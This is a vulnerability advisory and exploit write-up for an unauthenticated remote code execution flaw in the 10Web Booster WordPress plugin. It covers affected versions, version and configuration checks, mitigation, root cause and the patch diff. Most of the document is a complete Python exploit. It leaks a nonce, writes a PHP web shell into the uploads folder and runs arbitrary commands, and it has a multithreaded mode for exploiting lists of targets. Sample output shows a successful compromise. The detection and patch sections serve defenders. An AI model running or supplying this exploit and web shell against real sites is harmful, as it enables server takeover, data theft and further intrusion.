#Summary
CVE-2026-108587 is a critical remote code execution vulnerability in the 10Web Booster WordPress plugin (tenweb-speed-optimizer), affecting all versions up to and including 2.34.10. Two independent flaws chain together to allow unauthenticated attackers to write arbitrary PHP files to the web root and execute code with web server privileges. CVSS score is 9.8 (Critical).
#Am I affected?
- Affected: 10Web Booster (WordPress plugin) versions up to and including 2.34.10
- Patched: 10Web Booster version 2.34.11 and later
- Default configuration: affected (exploitation requires no plugin settings beyond the default "connected" state, which is set once an admin links the 10Web account)
- Access needed: unauthenticated network access; the attacker must also trigger at least one paused batch to generate a restart file (routine on any site that optimizes more than ~20 images)
#How to check
#Version check
curl http://your-site.example.com/wp-content/plugins/tenweb-speed-optimizer/readme.txt | grep "Stable tag:"If the output shows a version <= 2.34.10, the site is affected. Version 2.34.11 or later is patched.
#Configuration check
If the plugin is installed but you cannot determine the version, check for the presence of a restart file:
curl -I http://your-site.example.com/wp-content/uploads/bulk/tenweb_image_optimizer_restart_bulk.txt- Vulnerable target: HTTP 200 (file readable)
- Patched target: HTTP 403 (file blocked by .htaccess deny rule)
#Fix and mitigation
- Fix: upgrade 10Web Booster to version 2.34.11 or later immediately
- If you cannot upgrade immediately: the plugin must be deactivated or disconnected (clear the
tenweb_workspace_id,tenweb_domain_id, andtenweb_access_tokensite options via WP-CLI:wp option delete tenweb_workspace_id, etc.). A deactivated/disconnected plugin will return HTTP 401 to all exploit requests - Detection: monitor access logs for GET requests to
wp-content/uploads/*/tenweb_image_optimizer_restart_*.txtfiles returning HTTP 200, and POST requests to/?rest_route=/tenwebio/v2/compress-customor/wp-json/tenwebio/v2/compress-customfrom unexpected sources
#Root cause analysis
Two independent flaws combine into unauthenticated RCE. Both live in the bundled 10web-utils library included with the plugin.
#Flaw A: Reusable nonce leaked in a world-readable file
When a bulk or custom image-optimisation batch pauses (after processing ~20 images by default), the plugin serializes its entire queue-context object to disk via the QueueRestart::writeObjectInfile() method in wp-content/uploads/<type>/tenweb_image_optimizer_restart_<type>.txt. This serialized object includes the tenwebio_nonce field - a WordPress nonce minted with wp_create_nonce('tenwebio_rest') in a loopback/cron context.
The critical issue: file_put_contents() writes the restart file with default permissions (0644, world-readable), and Utils::getQueueDir() creates the containing directory with no .htaccess or index.html protection. This means any unauthenticated visitor can GET the file and extract the nonce.
WordPress nonces are bound to three values: user ID, action name, and a 12-24 hour time tick. Because the loopback context runs with no logged-in user (user ID 0), and an unauthenticated attacker is also user ID 0 for WordPress, the leaked nonce validates for the attacker via check_ajax_referer('tenwebio_rest', 'tenwebio_nonce', false) until it expires. This is the authentication bypass.
#Flaw B: Unvalidated page_id concatenated into file path and name
The compress-custom REST endpoint calls CompressService::compressCustom($image_urls, $page_id, ...), which concatenates page_id straight into the queue "type" string without any validation:
$this->compress('custom_' . $page_id);This type value becomes:
- The directory name:
wp-content/uploads/custom_<page_id>/ - The queue file name:
tenweb_image_optimizer_custom_<page_id>
There is no extension or path validation. Setting page_id=shell.php produces a queue file ending in .php. Each supplied image_urls value is serialized into the queue file body via json_encode(). The critical detail: json_encode() escapes double quotes and forward slashes, but leaves <?, ?>, spaces, and most special characters intact. So a payload like <?php system($_GET['c']); ?> is written byte-for-byte into the file.
By sending more than the default restart limit (20 image entries), frames that exceed the limit are not consumed during batch processing and survive disk. When the plugin hits the restart limit and calls die(), the unconsumed frames - containing the PHP payload - remain on disk as an executable .php file under wp-content/uploads/. A default WordPress installation serves and executes files from this directory.
#Patch diff
Version 2.34.11 fixes all issues:
#1. Strict slug validation for page_id
+ public static function sanitizePageId($page_id)
+ {
+ $page_id = (string) $page_id;
+ return preg_match('/^[A-Za-z0-9_-]{1,64}$/', $page_id) ? $page_id : '';
+ }Dots, slashes, and backslashes are now rejected, so shell.php and traversal payloads collapse to an empty string.
#2. Reusable nonce replaced by single-use transient token
- $this->restart_body['tenwebio_nonce'] = wp_create_nonce('tenwebio_rest');
+ $restart_token = wp_generate_password(43, false, false);
+ set_site_transient(TENWEBIO_PREFIX . '_restart_token_' . $type, wp_hash($restart_token), 15 * MINUTE_IN_SECONDS);
+ $this->restart_body['tenwebio_restart_token'] = $restart_token;The reusable nonce is replaced with a random token stored server-side as a hashed transient (15-minute TTL). The token is single-use and never serialized into the world-readable restart file.
#3. Queue directories protected with deny-all .htaccess
+ public static function protectDir($dir)
+ {
+ $htaccess = $dir . DIRECTORY_SEPARATOR . '.htaccess';
+ if (!is_file($htaccess)) {
+ @file_put_contents($htaccess,
+ "<IfModule mod_authz_core.c>\nRequire all denied\n</IfModule>\n");
+ }Called from getQueueDir(), this ensures that even if a restart file somehow ends up on disk, it cannot be fetched over HTTP.
#Proof of concept
#exploit.py - 10Web Booster Unauthenticated File Write RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-108587 - 10Web Booster (tenweb-speed-optimizer) unauthenticated arbitrary
file write leading to remote code execution.
Affected: WordPress plugin "10Web Booster - Website speed optimization, Cache & Page
Speed optimizer" (slug tenweb-speed-optimizer), all versions up to and including
2.34.10. Fixed in 2.34.11.
Type: RCE (unauthenticated arbitrary PHP file write under wp-content/uploads)
Mechanism (two chained flaws, both unauthenticated):
1. Auth bypass. When a bulk/custom image-optimisation batch pauses, the plugin
serializes its whole queue-context object - including a reusable loopback nonce
minted with wp_create_nonce('tenwebio_rest') in a uid-0 context - into a
world-readable file under wp-content/uploads/<type>/. Because the nonce is bound
to user id 0 and an unauthenticated caller is also user id 0, the leaked nonce
validates for the attacker via check_ajax_referer until it ages out (~24h).
2. Arbitrary write. The compress-custom REST endpoint concatenates the attacker's
page_id straight into both the queue directory name and the on-disk queue file
name, with no extension or path validation. A page_id ending in ".php" yields a
.php file. Each supplied image_urls value is json_encode'd into the file body;
json_encode leaves <, >, ?, spaces, $, (), [], single quotes intact, so a
<?php ... ?> block is written byte-for-byte. Sending >20 entries leaves
un-consumed frames so the file survives the batch's restart-limit die() instead
of being purged. The result is an executable PHP web shell under uploads/.
Usage:
python exploit.py --host 127.0.0.1 --port 18580 --command id
python exploit.py --host http://target.example.com --command "uname -a"
python exploit.py --host https://target.example.com:8443 --command id
python exploit.py --list targets.txt --workers 20
"""
import argparse
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-108587"
VULN_TYPE = "RCE"
# Where a paused batch leaves the serialized nonce. "bulk" is the routine default;
# the custom_* variants are tried as a fallback.
RESTART_PATHS = [
"wp-content/uploads/bulk/tenweb_image_optimizer_restart_bulk.txt",
]
RESTART_DIR_GLOBLESS = "wp-content/uploads/%s/tenweb_image_optimizer_restart_%s.txt"
NONCE_RE = re.compile(rb'tenwebio_nonce"?;s:\d+:"([A-Za-z0-9]+)"')
# Number of payload frames to enqueue. Must exceed the plugin's default restart limit
# (20) so un-consumed frames keep the file on disk after the batch pauses.
FRAME_COUNT = 21
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
def _ctx():
c = ssl.create_default_context()
c.check_hostname = False
c.verify_mode = ssl.CERT_NONE
return c
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
# path here is the site base path (usually "/"); strip trailing slash for joins.
base = path.rstrip("/") if path and path != "/" else ""
return "%s://%s:%d%s" % (scheme, host, port, base)
def _request(url, data=None, timeout=15, use_tls=False):
"""Low-level HTTP. Returns (status, body_bytes). data=bytes -> POST."""
req = urllib.request.Request(url, data=data, headers={"User-Agent": UA})
ctx = _ctx() if use_tls else None
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
return resp.getcode(), resp.read()
except urllib.error.HTTPError as e:
# 4xx/5xx still carry a body we want (e.g. the die()'d restart response).
return e.code, e.read()
def _leak_nonce(base, use_tls, timeout):
"""GET the serialized restart file and pull the loopback nonce out of it.
Returns (nonce_str, path_used) or (None, None)."""
for rel in RESTART_PATHS:
url = base + "/" + rel
try:
status, body = _request(url, timeout=timeout, use_tls=use_tls)
except Exception:
continue
if status == 200 and body:
m = NONCE_RE.search(body)
if m:
return m.group(1).decode(), rel
return None, None
def _write_shell(base, use_tls, nonce, slug, payload, timeout):
"""POST compress-custom to drop the PHP file. Returns (status, body_bytes)."""
url = base + "/?rest_route=/tenwebio/v2/compress-custom"
fields = [
("tenwebio_nonce", nonce),
("page_id", slug),
]
for _ in range(FRAME_COUNT):
fields.append(("image_urls[]", payload))
data = urllib.parse.urlencode(fields).encode()
return _request(url, data=data, timeout=timeout, use_tls=use_tls)
def _shell_url(base, slug):
# Directory and file share the page_id tail:
# uploads/custom_<slug>/tenweb_image_optimizer_custom_<slug>
return "%s/wp-content/uploads/custom_%s/tenweb_image_optimizer_custom_%s" % (
base, slug, slug,
)
def _run_command(base, use_tls, slug, command, marker, timeout):
"""GET the dropped web shell with the command. Returns (status, body_text)."""
# Prefix a per-run marker so a stale/cached shell cannot be mistaken for this run.
full_cmd = "echo %s; %s" % (marker, command)
q = urllib.parse.urlencode({"c": full_cmd})
url = _shell_url(base, slug) + "?" + q
status, body = _request(url, timeout=timeout, use_tls=use_tls)
try:
text = body.decode("utf-8", "replace")
except Exception:
text = repr(body)
return status, text
def _extract_output(text, marker):
"""Pull the real command output out of the queue-frame JSON padding.
The shell runs `echo <marker>; <command>`, so the response is
<marker>\\n<command output>, wrapped in inert serialized-queue text. The output
bytes sit between the marker and the next JSON escaping boundary (a backslash or
double quote), because that wrapper is pure JSON/padding."""
idx = text.find(marker)
if idx < 0:
return None
tail = text[idx + len(marker):]
# The JSON wrapper around each frame uses backslash-escaped quotes; the raw
# command output contains neither, so the first \\ or " ends it.
cut = len(tail)
for ch in ("\\", '"'):
p = tail.find(ch)
if p != -1:
cut = min(cut, p)
out = tail[:cut].strip()
return out or None
def _try_exploit(host, port, use_tls=False, path="/", command="id", timeout=15):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
base = _base_url(host, port, use_tls, path)
try:
nonce, _ = _leak_nonce(base, use_tls, timeout)
if not nonce:
return False, "no leaked restart file (no paused batch, or patched)"
slug = "p%s.php" % secrets.token_hex(3)
payload = "<?php system($_GET['c']); ?>"
_write_shell(base, use_tls, nonce, slug, payload, timeout)
rmark = secrets.token_hex(6)
status, text = _run_command(base, use_tls, slug, command, rmark, timeout)
out = _extract_output(text, rmark)
if out is not None:
return True, out[:120]
if "system($_GET" in text:
return False, "file written but PHP not executed (uploads not executing .php)"
return False, "payload sent, no command output (target may be patched)"
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence,
))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)" % (
success_count, total - success_count, total,
))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, command, path="/"):
header(host, port)
base = _base_url(host, port, use_tls, path)
timeout = 20
step(1, "Leaking the serialized loopback nonce from the world-readable restart file...")
nonce, rel = _leak_nonce(base, use_tls, timeout)
if not nonce:
section("RESTART FILE", "No readable restart file found at the known paths.")
done(False, "no leaked nonce - no paused batch has written a restart file, "
"or directories are hardened (patched)")
section("LEAKED NONCE", "%s (from %s)" % (nonce, rel))
slug = "p%s.php" % secrets.token_hex(3)
payload = "<?php system($_GET['c']); ?>"
step(2, "Writing the PHP web shell via compress-custom (page_id=%s, %d frames)..."
% (slug, FRAME_COUNT))
status, body = _write_shell(base, use_tls, nonce, slug, payload, timeout)
try:
btext = body.decode("utf-8", "replace")
except Exception:
btext = repr(body)
section("WRITE RESPONSE", "HTTP %s\n%s" % (status, btext[:400]))
rmark = secrets.token_hex(6)
step(3, "Fetching the dropped shell to execute: %s" % command)
gstatus, text = _run_command(base, use_tls, slug, command, rmark, timeout)
section("SHELL RESPONSE (HTTP %s)" % gstatus, text[:1500])
out = _extract_output(text, rmark)
if out is not None:
section("COMMAND OUTPUT", out)
done(True, "RCE confirmed - command '%s' output: %s" % (command, out[:200]))
elif "system($_GET" in text:
done(False, "arbitrary file write confirmed, but uploads/ did not execute the "
"PHP (hardened runtime) - RCE blocked")
else:
done(False, "payload sent but no command output in shell response - "
"target may be patched or page_id was rejected")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/path)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, path)#Usage
Single target scan:
python3 exploit.py --host 127.0.0.1 --port 80 --command id
python3 exploit.py --host http://victim.example.com --command "uname -a"
python3 exploit.py --host https://victim.example.com:8443 --command idBatch scan with multiple targets:
python3 exploit.py --list targets.txt --workers 20 --command idVulnerable target output:
[STEP 1] Leaking the serialized loopback nonce from the world-readable restart file...
--- LEAKED NONCE ---
d3096f733d (from wp-content/uploads/bulk/tenweb_image_optimizer_restart_bulk.txt)
---
[STEP 2] Writing the PHP web shell via compress-custom (page_id=p7a9a18.php, 21 frames)...
--- WRITE RESPONSE ---
HTTP 200
{"tenweb_queue_restart": "1"}
---
[STEP 3] Fetching the dropped shell to execute: id
--- SHELL RESPONSE (HTTP 200) ---
|{"body":"\"{\\\"guid\\\":\\\"6974cb26dc5e
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\\\",\\\"ID\\\":0,\\\"size\\\":\\\"full_custom\\\"}\"","properties":[],"headers":[]}
---
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
RESULT: SUCCESSPatched target output:
[STEP 1] Leaking the serialized loopback nonce from the world-readable restart file...
--- RESTART FILE ---
No readable restart file found at the known paths.
---
RESULT: FAILURE
EVIDENCE: no leaked nonce - no paused batch has written a restart file, or directories are hardened (patched)#Command-line arguments
--host- target as hostname, IP, or full URL (e.g.https://host:8443/path). Mutually exclusive with--list--list FILE- file of targets, one per line, for concurrent batch scanning--port- default port when not specified in the host (default: 80)--command- shell command to run on the target (default:id). Any command works, including ones with forward slashes--workers- thread count for--listbatch mode (default: 10)--tls/--no-tls- force or disable TLS, overriding any scheme parsed from the URL
#Exploitation notes
#Preconditions
- The plugin must be "connected" - an admin has linked it to their 10Web account, which sets the site options
tenweb_workspace_id,tenweb_domain_id, andtenweb_access_token. An unconnected install returns HTTP 401 and is not exploitable - A bulk or custom batch must have paused at least once to generate a restart file. This is routine on any active install that optimizes more than ~20 images
- The nonce must still be within its ~24-hour validity window
wp-content/uploads/must be configured to serve and execute PHP files (the WordPress default)
#Reliability
The exploit is deterministic. On a vulnerable target with preconditions met, the three-request chain consistently writes a PHP web shell under wp-content/uploads/ and executes the supplied command. The output is extracted from the HTTP response and reliably distinguished from inert JSON padding. No memory corruption or race conditions apply - this is a direct file write.
#Impact
Unauthenticated remote code execution with web server privileges (typically www-data). The attacker can read sensitive files, modify or delete data, pivot to other systems, install backdoors, or launch further attacks.
#Chaining potential
The ability to write arbitrary files to wp-content/uploads/ and execute PHP can be chained with other WordPress vulnerabilities to achieve full site compromise. For example, a second plugin vulnerability that requires authenticated access could be exploited after establishing an initial shell. The shell runs as www-data, which may allow privilege escalation to higher-privilege processes if the system has other weaknesses.
#References
- CVE: CVE-2026-108587
- Patch commit: WordPress plugin changeset 3743299
- 10Web Booster plugin directory: https://wordpress.org/plugins/tenweb-speed-optimizer/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-108587
